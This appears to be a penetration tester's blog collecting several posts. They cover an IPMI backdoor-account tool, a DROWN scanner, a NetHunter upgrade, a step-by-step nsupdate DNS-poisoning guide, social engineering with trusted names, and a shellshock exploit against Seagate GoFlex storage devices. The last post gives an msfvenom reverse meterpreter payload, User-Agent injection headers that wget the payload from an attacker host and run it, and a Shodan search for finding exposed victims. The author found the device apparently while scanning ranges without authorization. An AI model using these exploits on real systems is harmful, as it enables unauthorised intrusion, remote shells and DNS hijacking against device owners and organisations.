IPMIPWN Tool

There are a few good tools out there (Metasploit) to help you find and identify the IPMI cipher 0 vulnerability, but because its relatively trivial to exploit I have seen nothing that helps you pwn it. While it is easy to exploit, I have found I keep having to brush up on commands and junk every time I come across it which is where my tools comes in.

My IPMIPWN tool does all the real work for you, it will attempt to exploit the cipher 0 vulnerability using a list of predefined default user accounts and setup a backdoor account with a semi-random username and random password. All successful backdoors are logged in loot.log. This tool works best on Kali, it does require you to have ipmiutils "apt-get install ipmitool" and NMAP installed. Enjoy.

Get IPMIPWN from GitHub

My Own DROWN Detection Tool

I had to find a quick way to detect the DROWN vulnerability on a large enterprise level network, so this goes more into the vulnerability management realm, but I was tasked with it none the less and I thought others might get some use from my work here as well.

I didn't like the scanning tool from drownattack.com and most of the systems in scope were internal so I couldn't use their online version either. First I tried OpenSSL but the version that comes with Kali 2 does not support SSLv2 even thought the help menu says it does. I was going to try and recompile OpenSSL to add SSLv2 support but that was proving to be a pain in the ass.

That's when I made a little bash script that uses NMAP and TestSSLServer to detect SSLv2 support on port 443 of a web server. All you need to do is provide a list of IPs and it goes to work, unlike all the other tools available at the moment, the output is clear and easy to understand. It does lack features and support for other ports. If the tool proves popular I will be happy to add both. Enjoy and happy hacking :)

Get the DROWN Detection Tool from GitHub.

**UPDATE: Thanks to ngharo for the code contribution. Already merged your changes into master!

Low Hanging Fruit Initiative

The Low Hanging Fruit Initiative [LHFI] is my own little project to make life easier on pen-testers like myself. Not that life is that hard for me, I'm just lazy and as I go along, I find things that should be simple are overly complex, overlooked, or under appreciated . So I develop tools, scripts, etc. to get the most juice I can from the low hangers and fill what I feel are gaps in the process of exploitation. Not passing up quarters for dollars has allowed me to take my game to a new level.

The way I see it, the bad guys are not coming into networks and just focusing on the vulnerabilities with CVSS scores of 10, they are searching the network looking for anything they can get their hands on to further their penetration or increase the scope of the breach and I don't understand why we cant do the same. When ever things like this are talked about, they always take the defender approach or the cracker approach, its never really looked at from a pen-testers perspective. Some might say the cracker and pen-testers approach should be the same, but they operate under a different set of restrictions. The most prominent being time for pen-testers, where often the quarters are passed up for a dollar to save time and keep costs low.  I'm not saying people need to rethink their current process, just saying maybe add a step or two. After you found all the show stoppers, take time to revisit the mediums and lows, maybe there is a gem waiting to be discovered using the scripts found here/elsewhere or your own.

The over all goal of the LHFI is to help pen-testers penetrate deeper into a network from more places. I hope this will lead to better secured and resilient networks which is good for everyone. To denote which posts contribute to the LHFI I will start using the LHFI label. If you have scripts, programs, ect. that you think fits under LHFI please let me know. I would be happy to showcase them on my blog. Thank you for reading and happy hacking.

Upgrading to NetHunter 2 on Nexus 7

I love Kali so naturally I put NetHunter 1 on my old Nexus 7 tablet and used it for a while but then NetHunter 2 came along and didn't really offer a upgrade path from 1 to 2. Everything was geared to first installs. Lucky for me the process to do so was really easy if you already put NetHunter on your tablet.

Basically all I had to do was put the new NetHunter zip file downloaded from HERE on the root of the sdcard and boot into Fastboot mode "From a powered down stat press and hold the power + volume down buttons" Then selected recovery mode and used teamwin loader "It was still setup from when I first setup NetHunter 1" to install the zip from sdcard and poof NetHunter was updated to the latest. I did lose all data but I don't keep anything on it so that was no big deal.

The one hang up I have found so far is you need to get pciutils for wifite to work. Just run the following command:
apt-get install pciutils

Thank you and happy hacking :)

Exploiting CVE-1999-0184 DNS Poisoning

Yes this CVE is old, but I keep seeing it and there is no real tool or exploit guides available so I thought I would make one up right quick.

This "guide" is for Kali 2 and the basics of whats going on is the target DNS server allows anonymous DNS updates. The one tool we will need is nsupdate. If its not already on your system you can just run apt.

apt-get install dnsutils

Now we will need to start with a file that has all our commands in it. It should look something like this:

server 1.2.3.4 #our target DNS server 

zone corp.company.com #the zone we are working in. 

update delete evil.corp.company.com. A #rm just in case. 

update add evil.corp.company.com. 86400 IN A 2.2.2.2 

show 

send

Save the file as dns. Now just run the following command:

nsupdate -v dns

nsupdate should read all the commands in the dns file and send them to our target DNS server. After a few seconds you should see something similar to this:

Outgoing update query:

;; ->>HEADER<<- i="" id:="" nbsp="" noerror="" opcode:="" status:="" update="">

;; flags:; ZONE: 0, PREREQ: 0, UPDATE: 0, ADDITIONAL: 0

;; ZONE SECTION:

;corp.company.com. IN SOA

;; UPDATE SECTION:

evil.corp.company.com. 0 ANY A

evil.corp.company.com. 86400 IN A 2.2.2.2

Now just run a quick DiG query to make sure it worked.

dig @1.2.3.4 A evil.corp.company.com 

That is all I have for this post. Happy hacking :)

Using famous fake names

A while ago I was at a stl2600 meeting and the topic was using fake identities of famous people for online services and events IRL as a way to protect your real identity and be easy to remember for you. They gave a number of great examples and even links to sites to help come up with the fake ID.

To expand on that idea I suggested there might be a social engineering impact if you choose your alias wisely. Like using the name from a positive supporting character in a movie, people might be more likely not to question you, and even allow you privileges they might not other wise presumably because they associate you with this character subconsciously.

The reason I suggest using a support character and not a main one is because people are more likely to have better recall of a leading character, the idea is to use a name that is linked to positive feelings that someone cant quite put their finger on, hopefully allowing that feeling of trust to be lent to anyone with that name or ones that sound similar.

Under a more targeted social engineering attack you might use the name of a favorite sibling, or relative. Yes the target will pick up on this right away but hopefully the years of trust the target associates with the ID you choose will be lent to you with out the target knowing they are doing so. Results will vary of course. What are your thoughts? Have you done something like this and it worked? Tells us about it.

Getting a remote shell on any one of 68,000+ Seagate GoFlex devices

I have been scanning some ranges in my free time and came across a Seagate GoFlex Home Network Storage System which my scanner flagged as being vulnerable to shellshock but getting a remote shell was no easy task "for me anyway". I ended up having to build a payload with msfvenom and doing the execution using burp suite and handling the shell with metasploit handler. The best part is this device uses UPNP to tunnel to the Internet, giving us easy access >;)

Start with the payload:

msfvenom -p php/meterpreter/reverse_tcp lport=4444 lhost=1.2.3.4 >msf.txt

Now upload msf.txt to your web server. After the payload is uploaded open metasploit and

use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
run 

That should start up our listener. Now we need to open up burp and use the repeater. Enter the following for the request:

GET /support/ HTTP/1.1

Host: 5.6.7.8

User-Agent: () { :; }; echo Content-Type: text/plain; echo; echo; PATH=/usr/bin:/usr/local/bin:/bin; export PATH; wget http://1.2.3.4/msf.txt -O /tmp/msf.php2>&1;

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Connection: keep-alive

Also don't forget to configure the target correctly. Hit go and wait a few seconds and you should see some wget output and if all went well you should now have uploaded msf.php to the /tmp/ dir of the device. Now we just need to execute it. For this we use burp again. This time put this in the request:

GET /support/ HTTP/1.1

Host: 5.6.7.8

User-Agent: () { :; }; echo Content-Type: text/plain; echo; echo; PATH=/usr/bin:/usr/local/bin:/bin; export PATH; php /tmp/msf.php;

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Connection: keep-alive

This time when you hit Go, and your ports are forwarded correctly, you should be able to go back to our msfconsole window and see a session has opened.  You wont have root at this point but you can still do a lot of fun stuff. You can find some of these devices on Shodan by searching for "hipname=". If anyone figures out how to get root please share :) Enjoy!

*Count of vulnerable devices taken from Shodan search results, not actual testing.
**I did not test it but you could try to use linux/x86/exec payload in bash bug exploit module to deploy and execute. This would allow you to keep it all in metasploit.